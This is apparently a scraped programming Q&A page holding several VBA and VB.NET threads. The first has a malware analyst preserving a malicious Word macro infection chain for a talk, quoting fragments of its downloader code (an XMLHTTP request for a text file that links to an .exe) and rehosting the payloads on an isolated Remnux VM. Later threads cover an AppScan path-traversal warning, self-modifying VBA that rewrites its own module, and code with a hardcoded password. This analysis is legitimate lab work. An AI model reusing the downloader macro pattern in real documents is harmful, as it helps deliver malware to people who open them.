How do I modify a word macro .response to use a local file instead? - vba

I'm trying to preserve a malicious macro enabled document infection chain for a presentation. Since the URLs tend to die off rather quickly, I've saved all the files locally, and am trying to modify the macro code to use the local files instead of the response objects based on the URLs, and I'm encountering some issues.
The original code looks something like this (I made up some function and variable names that make a little more sense than the obfuscated garbage I've been dealing with, but the names may not be accurate to their functions)
CONT = Module2.OpenURL("http://malicioustextfile.txt")
Public Function OpenURL(URL As String)
Set fileObject = CreateObject("MSXML2.ServerXMLHTTP")
fileObject.Open GET, URL
fileObject.Send ( VariableIcantRembmer )
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
FileProcessFunction = (a.responsetext)
End Function
And I've modified it to look more like this
CONT = Module2.OpenURL("C:\localfile.txt")
Public Function OpenURL(URL As String)
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileObject = fso.OpenTextFile(URL)
AAHQJD = ThisDocument.FileProcessFunction(fileObject)
Public Function FileProcessFunction(a As Object)
Do Until a.AtEndOfStream
FileProcessFunction = FileProcessFunction + a.readline
Loop
End Function
But this causes an overflow later in the program, and doesn't preserve the newlines of the file. Before I just had it doing FileProcessFunction = a.readline, but that was clearly only returning the last line. I don't know if I need character returns (I think I do), and the FileProcessFunction I'm fairly certain is also used to get an .exe file, which won't work with a.readline, I'm pretty sure. The last time I stepped through it, all it pulled from the local .exe was the MZ header, and nothing else.
How can I process the local file objects in a way that will properly mimic the a.responsetext property on a URL request?

Not sure what you're really looking for...
Public Function FileProcessFunction(a As Object)
FileProcessFunction = a.readall()
End Function

I figured out what the problem was. I'm relatively sure what I was trying to do would have actually worked, but I was pointing the Macro to the .exe file instead of the the text file with the download link for said .exe file. The macro was expecting the text file with a link.
The fix I implemented instead of trying to use the local files, was to use a Remnux VM on the host only network hosting the files with python -m SimpleHTTPServer. Then I'd simply set a breakpoint for when the objects were created, and manipulate the locals to point to the files on my Remnux machine rather than the URIs it was actually coded for. Also, set the link in the text file to the Remnux machine, instead of dropbox. Worked like a charm.

Related

IBM AppScan Security PathTraversal issue in File.Copy method in VB.Net

I ran IBM AppScan tool on a VB.Net source.I am getting one security issue in File.Copy method under Path Traversal category.
Issue Detail -
Vulnerability Type - PathTraversal
This API accepts a directory, a filename, or both. If user supplied data is used to create the file path, the path can be manipulated to point to directories and files which should not be allowed access or which may contain malicious data or code.
How can i fix this issue?
Imports System.Web.Security.AntiXss
Private Function ProcessFile() As Boolean
Dim drive As String = String.Empty
Dim folder As String = String.Empty
Dim filename As String = String.Empty
Dim sourcePath As String = String.Empty
Dim destinationPath As String = String.Empty
drive = AntiXssEncoder.XmlEncode(String.Format("{0}", System.Configuration.ConfigurationManager.AppSettings("Drive").ToString()))
folder = AntiXssEncoder.XmlEncode(String.Format("{0}", System.Configuration.ConfigurationManager.AppSettings("Folder").ToString()))
filename = AntiXssEncoder.XmlEncode(String.Format("{0}", System.Configuration.ConfigurationManager.AppSettings("File").ToString()))
sourcePath = Path.Combine(drive, folder, filename)
destinationPath = Path.Combine(drive, folder, "text2.txt")
Try
If sourcePath.IndexOfAny(Path.GetInvalidPathChars()) = -1 AndAlso destinationPath.IndexOfAny(Path.GetInvalidPathChars()) = -1 Then
File.Copy(sourcePath, destinationPath, True)
Return True
Else
Return False
End If
Catch ex As Exception
Return False
End Try
End Function
It's probably considering AppSettings to be untrusted user input (I've seen AppScan Source do similar with config on a Java project), so it's complaining that you're making a path with untrusted input that could have separators in.
If any of drive, folder and filename did come from untrusted this would definitely be a problem. Assuming however that your config is only accessible to trusted administrators this is nothing. It's pretty stupid that config is treated as an unchecked source, but then taint tracking tools are pretty stupid in general.
The handling of filenames here is rather wacky. It seems very unlikely that XML-encoding filenames before using them is a good idea; the ToString and Format steps are entirely superfluous; and checking the whole path for ‘invalid’ characters doesn't protect against injection from an individual part anyway. Is this stuff an attempt to work around AppScan? The InvalidPathChars check wouldn't help as it doesn't directly encode/validate and return the tainted value, and the XmlEncode would only help if that function were explicitly marked as a validation/encoding function.
It's sad to make code more broken in an attempt to satisfy a blunt instrument of a static analyser. Could you perhaps add a function to be used as a wrapper on AppSettings values and tell AppScan it is a validation/encoding function, so it doesn't think the values are tainted? Or just ignore/silence the bogus warning?
System.Configuration.ConfigurationManager.AppSettings can be considered as a safe source, you can just exclude the findings so it won't come up again.
On the other hand, this code can be considered as having poor secure coding practice. If you replace "System.Configuration.ConfigurationManager.AppSettings" with something like a web UI input, then the end user has control over the value of "folder" "drive" and "filename", this then becomes a serious path traversal issue.

Setting a constant from a variable value

I would like to set the path of my database as a constant.
The problem is that the path is stored in a INI file and the variable is set when Outlook is launched. VBA won't compile if the constant isn't hardcoded.
The reason why I want to use a constant is because, for some reasons, after a few hours/days with Outlook running, it sometimes seems to lose the value of its variables (never experienced this problem with a hardcoded constant). The path variable just get emptied, and then when VBA tries to reach the database, the user gets an error.
I can't hardcode the path just because some users don't use the same server UNC path. This path might change once a year or so, it's easier to just edit the INI file and restart Outlook than ask for a programmer to edit the right line in the code on each user's computer.
Any ideas?
You cannot change the value of a constant at run-time. Those values are set when the code is compiled (even if you don't explicitly compile VBA code it is still done Just-In Time (JIT) in the background).
If you don't want to be constantly running the lookup code (because it is inefficient, for example), than you can use a static variable within a function:
Function GetDbPath() As String
Static DbPath As String
If Len(DbPath) = 0 Then
DbPath = 'your code here'
End If
GetDbPath = DbPath
End Function

Is it possible to specify a location in a user's home directory for a shared library in VBA (in Office for Mac)?

I'm currently using the VBA code similar to the following to specify a location of a shared library for use in communicating (passing a string) from an Office application to a desktop application. The VBA code/macros will need to exist in an add-in (.ppa).
Private Declare Sub sharedLibPassString CDecl Lib "/Users/myUserName/Library/Application Support/myCompanyName/MySharedLib.dylib" Alias "PassString" (ByVal aString As String)
In code from a VBA Macro, I then can do the following.
Call sharedLibPassString(myString)
I've got the communication working, but I'd like to replace the /Users/myUserName/ part with the current user's home directory. Normally on a Mac, you'd specify ~/Library/Application Support/..., but the ~/ syntax doesn't work, producing a "File not found" runtime error.
I discovered that using the following Environment Variable method gets me the ~/ location that I need:
Environ("HOME")
However, I don't see a way to make this part of the CDecl Lib statement, since, as far as I can tell, Environ is evaluated at runtime.
Is there any way to specify a location of a shared library in the user's home directory (~/) in VBA?
Here are a few notes about my environment/approach:
I'm using a Mac, though I believe if there is a solution it would be similar on a PC.
I don't believe it shouldn't matter, but the Office application I'm using is PowerPoint (2011).
The reason I'm trying to access an area inside of the Application Support directory, instead of the default location for shared libraries is because I'd like the Desktop application to place the shared library in a location without an installer, and without requiring a user's or administrator's privileges. If there is a better solution or location to accomplish the same task, this would be very helpful as well.
Sorry for giving a long response, I just wanted to make sure I explained this fairly well.
From this page (Anatomy of a Declare Statement) we read that
The Lib keyword specifies which DLL contains the function. Note that
the name of the DLL is contained in a string within the Declare
statement.
(emphasis added)
From experimentation, the VBE scolds me if I try to give anything but a string constant.
The only work around that I'm aware of requires rewriting the string constant at runtime.
Here is an example of how this could be done: Let's say your delaration statement is in Module1 in your current project, and that you deliberately wrote the declaration in this format at the top of your module:
Private Declare Sub sharedLibPassString CDecl Lib _
"/Users/myUserName/Library/Application Support/myCompanyName/MySharedLib.dylib" _
Alias "PassString" (ByVal aString As String)
You can access that module via code through this (requires permissions to VBA in trust Center listed under Developer Macro Settings):
Dim myModule
set myModule = ActivePresentation.VBProject.VBComponents("Module1").CodeModule
Once you've gained the CodeModule, you can replace the 2nd line directly:
myModule.ReplaceLine 2, Environ("HOME") & " _"
Mission accomplished!
If you do this, you will need to update the path prior to attempting to call your declared sub. There must be a break in execution that allows VBA to recognize the change. Also, you will not be able to modify the code while in break mode.
Now if I were doing this, I'd want to make sure I replace the right line, to not break code. You can check the contents of the 2nd line by calling this myModule.Lines(2,1) which will return the string value of the line.
However, here is a more robust solution that will find the correct line and then replace it (assumes myModule has already been defined as listed above):
Dim SL As Long, EL As Long, SC As Long, EC As Long
Dim Found As Boolean
SL = 1 ' Start on line 1
SC = 1 ' Start on Column 1
EL = 99999 ' Search until the 99999th line
EC = 999 ' Search until the 999th column
With myModule
'If found, the correct line will be be placed in the variable SL
'Broke search string into two pieces so that I won't accidentally find it.
Found = .Find("/Users/myUserName/Library/Application Support/myCompanyName/" & _
"MySharedLib.dylib", SL, SC, EL, EC, True, False, False)
If Found = True Then
'Replace the line with the line you want, second paramater should be a string of the value.
.ReplaceLine SL, Environ("HOME") & " _"
End If
End With
I don't have a Mac, so this is an incomplete answer and I don't know if it will help, but it's a couple of ideas.
I know on Windows, VB doesn't load an external library until you first try to call a function declared with it, and if you specify only the filename in the declare statement, it will use the system path to look for it. Once I did the same thing you are doing, loading a library from a dynamic path, by specifying only a filename, then making a system API call to set the current working directory to the directory of the library before loading it. Changing the PATH environment variable would probably also work.
Second idea: you could hard-code the path to a filename in the /tmp directory; then automatically copy the desired library to that location before loading it. Watch out for the file being in use by another process, but that's only an error if it is a different version of the file to the one that you want.

Opening a file using impersonation

I have been searching the web looking for a way to open a WORD file from a secure network folder by impersonating a user who has access. The closest I've come to finding the answer was this from 2 years ago:
Impersonating in .net (C#) & opening a file via Process.start
Here is the code that I am using. When I set the arguments = LocalFile_Test, everything works perfectly because the user is accessing the local c:\ that is has access to. But when I set arguments = RemoteFile_Test, Word opens up a blank document which is the same effect as if I put garbage in the arguments. So it appears that it cannot find the file even though when I login with the user/domain/password that I specify in the properties below, I can find that exact file name and it is not empty. Does anything jump out at you right away? I appreciate your time.
Dim LocalFile_Test As String = "C:\New.docx"
Dim RemoteFile_Test As String = "\\Server1\Apps\File\New.docx"
Dim MyStartInfo As New System.Diagnostics.ProcessStartInfo
MyStartInfo.FileName = "C:\Program Files\Microsoft Office\Office12\WINWORD.exe "
MyStartInfo.Arguments = LocalFile_Test
MyStartInfo.LoadUserProfile = True
MyStartInfo.UseShellExecute = False
MyStartInfo.UserName = "specialuser"
MyStartInfo.Domain = "mydomainname"
MyStartInfo.Password = New System.Security.SecureString()
MyStartInfo.Password.AppendChar("p"c)
MyStartInfo.Password.AppendChar("a"c)
MyStartInfo.Password.AppendChar("s"c)
MyStartInfo.Password.AppendChar("s"c)
Process.Start(MyStartInfo)
My understanding is that you are trying to get a password protected file from a server, and when you do process start, it just opens up a blank word doc. I think the error is how you are trying to get the file, I think you have to map the actual physical path of the file on the server, like
System.Web.HttpContext.Current.Server.MapPath("\\Server1\Apps\File\New.docx")
From there, I am fairly certain, you need to create network credentials for the user like
System.Net.NetworkCredential=New NetworkCredential(userName:=, password:=)
Finally, once that is done, you can either write the file, or transmit the file like so...
System.Web.HttpContext.Current.Response.TransmitFile(file name)
System.Web.HttpContext.Current.Response.WriteFile(file name)
Then,once you get the file, you can try to open it with process start.
Hope that helps, let me know if what I said doesn't work.

vb.net application works with files dragged onto the exe, but crashes if there's a space in the file's path

I'm developing an application in vb.net. You drag any type of file onto the exe, and a window pops up with some options for the file, then it saves the file to a different location, works some SQL magic, etc. It works great for the most part.
The only issue I've found is that if the path of the file contains any spaces, the application will crash immediately with the error window: http://i.stack.imgur.com/mVamO.png
I'm using:
Private filename as String = Command$
This is located right inside my form's class declaration, not within a sub/function.
Without this line, my program runs fine (although useless, without accessing the file).
I've also tried (I think this was it, I don't have the code with me at the moment):
Private filename as String = Environment.CommandLine
And it had the same issue.
So, in vb.net, is there a way to drag a file onto an exe and use that path name, even if there are spaces in the path name?
Windows will put double-quotes around the passed command line argument if the path to the dragged file contains spaces. Trouble is, you are using an ancient VB6 way to retrieve the argument, you see the double quotes. Which .NET then objects against, a double quote is not valid in a path name. Use this:
Dim path = Command$.Replace("""", "")
Or the .NET way:
Sub Main(ByVal args() As String)
If args.Length > 0 then
Dim path = args(0)
MsgBox(path)
'' do something with it..
End If
End Sub
If possible, do post your code as it's pretty much anything that can go wrong. Normally, after receiving CommandLine Arg, I would try to use a System.IO.File wrapper and use built-in mechanisms to verify file and then proceed with it further using IO as much as possible. If you are attempting to directly manipulate the file, then the spaces might become an issue.
In addition, there is a way to convert long file path + name to old DOS’s 8.3 magical file path + name. However, I’ll go into R&D after I see what you are doing in code.